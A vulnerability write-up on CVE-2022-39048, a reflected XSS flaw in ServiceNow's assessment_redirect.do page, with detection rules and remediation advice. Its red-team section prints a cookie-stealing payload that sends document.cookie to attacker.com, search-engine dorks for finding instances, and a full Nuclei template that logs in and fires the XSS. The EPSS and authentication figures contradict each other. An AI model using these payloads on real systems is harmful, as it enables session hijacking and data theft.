CVE-2022-39048

Executive Summary

CVE-2022-39048 is a reflected Cross-Site Scripting (XSS) vulnerability identified in the ServiceNow UI page assessment_redirect. The vulnerability resides in the improper sanitization of the sysparm_survey_url parameter. An authenticated attacker can craft a malicious URL containing JavaScript code. If a victim, who is also an authenticated ServiceNow user, clicks this crafted link, the JavaScript executes within the context of the victim's session. This can lead to client-side attacks such as phishing, session hijacking, theft of CSRF tokens, and further compromise of internal systems accessible through the victim's browser.

The vulnerability has a CVSS score of 6.1 (Medium), and a public proof-of-concept (PoC) exists via a Nuclei template. The EPSS score is low (0.0%), indicating a low probability of exploitation in the wild at the time of analysis, but the availability of a public PoC increases the risk for unpatched instances.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network (N) - The attack can be launched remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): None (N) - The attacker does not need to be authenticated to the ServiceNow instance to craft the malicious URL.
• User Interaction (UI): Required (R) - The victim must click the crafted link.
• Scope (S): Changed (C) - The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) - Limited information disclosure is possible.
• Integrity (I): Low (L) - Limited modification of data is possible.
• Availability (A): None (N) - No impact on system availability.

Threat Level: Medium. While the CVSS score is medium, the existence of a public PoC and the potential for session hijacking and lateral movement within a ServiceNow environment elevate the risk for unpatched instances.

Deep Dive & Mechanics

The vulnerability exists in the assessment_redirect.do page. This page is designed to redirect users to a survey URL provided via the sysparm_survey_url parameter. The application fails to properly sanitize or validate this parameter, allowing an attacker to inject arbitrary JavaScript code.

Attack Flow:

1. Crafting the Malicious URL: An attacker constructs a URL like: https://[target-servicenow-instance]/assessment_redirect.do?sysparm_survey_url=javascript:alert(document.domain)//assessment_take2.do The javascript: protocol is used to execute code, and the //assessment_take2.do part is a comment to bypass any URL validation that might check for a valid path.

2. Delivery: The attacker sends this URL to an authenticated ServiceNow user via email, chat, or other means.

3. Execution: When the victim clicks the link, the ServiceNow server processes the request. The assessment_redirect.do page reads the sysparm_survey_url parameter and, without proper sanitization, includes it in the page's JavaScript context. The browser then executes the injected JavaScript.

4. Impact: The injected JavaScript can perform any action the victim's session is authorized to do. This includes:

   • Stealing session cookies and CSRF tokens.
   • Redirecting the user to a phishing page.
   • Modifying the current page to capture credentials.
   • Making API calls to ServiceNow to exfiltrate data or perform administrative actions.
   • Using the victim's browser as a proxy to attack other internal systems.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely directly uses the sysparm_survey_url parameter in a JavaScript redirect or assignment without encoding or validation.

// Vulnerable Code Example
var surveyUrl = getParameterByName('sysparm_survey_url');
window.location.href = surveyUrl; // Direct assignment without sanitization

Patched Code (Conceptual): The patched code should validate the URL against a whitelist of allowed domains or protocols, and properly encode the output to prevent script execution.

// Patched Code Example
var surveyUrl = getParameterByName('sysparm_survey_url');
if (isValidUrl(surveyUrl) && isAllowedDomain(surveyUrl)) {
    window.location.href = surveyUrl;
} else {
    // Redirect to a safe default page or show an error
    window.location.href = '/default_page.do';
}

function isValidUrl(string) {
    try {
        new URL(string);
        return true;
    } catch (_) {
        return false;
    }
}

function isAllowedDomain(url) {
    var allowedDomains = ['survey.example.com', 'surveys.servicenow.com'];
    var urlObj = new URL(url);
    return allowedDomains.includes(urlObj.hostname);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target ServiceNow instance with the assessment_redirect.do page accessible.
• Valid credentials for a ServiceNow user on that instance.

Exploitation Steps:

1. Identify Target: Find a ServiceNow instance. Use Shodan or Fofa with the provided dorks.
2. Authenticate: Obtain valid credentials for a user on that instance.
3. Craft Payload: Create a malicious URL. The PoC from the Nuclei template uses: javascript:alert(document.domain)//assessment_take2.do For a more impactful attack, replace alert(document.domain) with a payload that steals cookies or performs actions. Example Payload for Cookie Theft: javascript:document.location='https://attacker.com/steal?cookie='+document.cookie//assessment_take2.do
4. Deliver: Send the crafted URL to the victim (another authenticated user).
5. Execute: The victim clicks the link, and the JavaScript executes in their session.

Nuclei Template Usage: The provided Nuclei template automates the exploitation process. It first logs in, then sends the malicious request and checks for the XSS indicator in the response.

nuclei -u https://target-servicenow-instance -t CVE-2022-39048.yaml -var 'username=your_username' -var 'password=your_password'

Blue Team

Detection and Prevention:

1. Web Application Firewall (WAF) Rules: Deploy WAF rules to block requests to assessment_redirect.do that contain javascript: in the sysparm_survey_url parameter.
2. Input Validation: Ensure the application validates the sysparm_survey_url parameter against a whitelist of allowed protocols (e.g., https://) and domains.
3. Output Encoding: Encode all user-supplied data before including it in the page's JavaScript context.
4. Content Security Policy (CSP): Implement a strict CSP that restricts the sources from which scripts can be executed. This can mitigate the impact of XSS even if a vulnerability is exploited.
5. User Education: Train users to be cautious of unsolicited links, even if they appear to come from within the organization.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /assessment_redirect.do with a sysparm_survey_url parameter containing javascript:.
  • Outbound connections from the ServiceNow instance to unknown external domains (potential data exfiltration).
• Host IOCs:
  • Unusual JavaScript code in the browser's console or page source when visiting assessment_redirect.do.
  • Unexpected redirects to external websites after clicking a link within ServiceNow.
• Log IOCs:
  • Web server logs showing requests to /assessment_redirect.do with suspicious sysparm_survey_url values.
  • Authentication logs showing unusual activity from a user's session after they clicked a malicious link.

Detection Engineering

YARA Rule

rule CVE_2022_39048_ServiceNow_XSS {
    meta:
        description = "Detects attempts to exploit CVE-2022-39048 in ServiceNow"
        author = "Valters IT"
        date = "2024-05-21"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-39048"
        hash = "4a0a0047304502210091bff4cacc354fe7d05566819fb335252beb05c8d0cbff46a9ede07acae5e54202200179319142e8b1b83b4f0ef0d2288e614aba2983786ebbe5fbbbae995af4e082"
    strings:
        $xss_payload = /sysparm_survey_url=javascript:.*\/\// nocase
        $assessment_redirect = "/assessment_redirect.do" nocase
    condition:
        $assessment_redirect and $xss_payload
}

Sigma Rule

title: ServiceNow CVE-2022-39048 XSS Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2022-39048, a reflected XSS in ServiceNow's assessment_redirect.do page.
author: Valters IT
date: 2024/05/21
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-39048
    - https://blog.amanrawat.in/2023/05/05/CVE-2022-39048.html
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/assessment_redirect.do'
        cs-uri-query|contains|all:
            - 'sysparm_survey_url='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate security testing
level: high
tags:
    - attack.t1059.007
    - cve.2022.39048

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-39048 ServiceNow XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/assessment_redirect.do"; http_uri; content:"sysparm_survey_url"; http_uri; content:"javascript:"; http_uri; pcre:"/sysparm_survey_url=javascript:/Ui"; reference:cve,2022-39048; classtype:web-application-attack; sid:10000001; rev:1;)

Nuclei Template (Full Content)

id: CVE-2022-39048

info:
  name: ServiceNow - Cross-site Scripting
  author: theamanrawat
  severity: medium
  description: |
    A XSS vulnerability was identified in the ServiceNow UI page assessment_redirect. To exploit this vulnerability, an attacker would need to persuade an authenticated user to click a maliciously crafted URL. Successful exploitation potentially could be used to conduct various client-side attacks, including, but not limited to, phishing, redirection, theft of CSRF tokens, and use of an authenticated user's browser or session to attack other systems.
  impact: |
    Authenticated attackers can craft malicious URLs with JavaScript in the sysparm_survey_url parameter that executes when victims click the link, potentially stealing CSRF tokens, session cookies, or conducting phishing attacks to compromise ServiceNow authenticated users.
  remediation: |
    Update ServiceNow to the latest patched version that properly sanitizes the sysparm_survey_url parameter in assessment_redirect.do.
  reference:
    - https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1221892
    - https://blog.amanrawat.in/2023/05/05/CVE-2022-39048.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-39048
    - https://support.servicenow.com/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-39048
    cwe-id: CWE-79
    epss-score: 0.15233
    epss-percentile: 0.94638
    cpe: cpe:2.3:a:servicenow:servicenow:quebec:-:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: servicenow
    product: servicenow
    shodan-query:
      - http.title:"ServiceNow"
      - http.title:"servicenow"
      - http.favicon.hash:1701804003
    fofa-query:
      - title="servicenow"
      - icon_hash=1701804003
    google-query: intitle:"servicenow"
  tags: cve,cve2022,xss,servicenow,authenticated,vuln

http:
  - raw:
      - |
        GET /navpage.do HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /login.do HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        sysparm_ck={{csrf}}&user_name={{username}}&user_password={{password}}&not_important=&ni.nolog.user_password=true&ni.noecho.user_name=true&ni.noecho.user_password=true&screensize=1920x1080&sys_action=sysverb_login&sysparm_login_url=welcome.do
      - |
        GET /assessment_redirect.do?sysparm_survey_url=javascript:alert(document.domain)//assessment_take2.do HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - 'unwrapped_url = "javascript:alert(document.domain)//assessment_take2.do"'
          - 'assessment_list.do'
        condition: and

      - type: word
        part: header_3
        words:
          - 'text/html'

      - type: status
        part: header_3
        status:
          - 200

    extractors:
      - type: regex
        name: csrf
        part: body
        group: 1
        regex:
          - 'name="sysparm_ck" id="sysparm_ck" type="hidden" value="(.*?)"'
        internal: true
# digest: 4a0a0047304502210091bff4cacc354fe7d05566819fb335252beb05c8d0cbff46a9ede07acae5e54202200179319142e8b1b83b4f0ef0d2288e614aba2983786ebbe5fbbbae995af4e082:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Patch: Apply the latest ServiceNow patch as referenced in KB article KB1221892. This is the primary and most effective remediation.
2. Virtual Patching: If immediate patching is not possible, deploy a WAF rule to block requests to /assessment_redirect.do that contain javascript: in the sysparm_survey_url parameter.
3. Disable Feature: As a last resort, if the assessment_redirect.do page is not critical, consider disabling or restricting access to it.

Long-Term Mitigations:

1. Secure Coding Practices: Implement input validation and output encoding for all user-supplied parameters.
2. Regular Security Audits: Conduct regular penetration testing and code reviews to identify and fix similar vulnerabilities.
3. Content Security Policy (CSP): Implement a strict CSP to limit the impact of XSS vulnerabilities.
4. User Awareness Training: Educate users about the risks of clicking on unsolicited links and how to identify phishing attempts.

Valters IT

{/* [Security Hash: 58B9B968A23E9C57651404F5] */}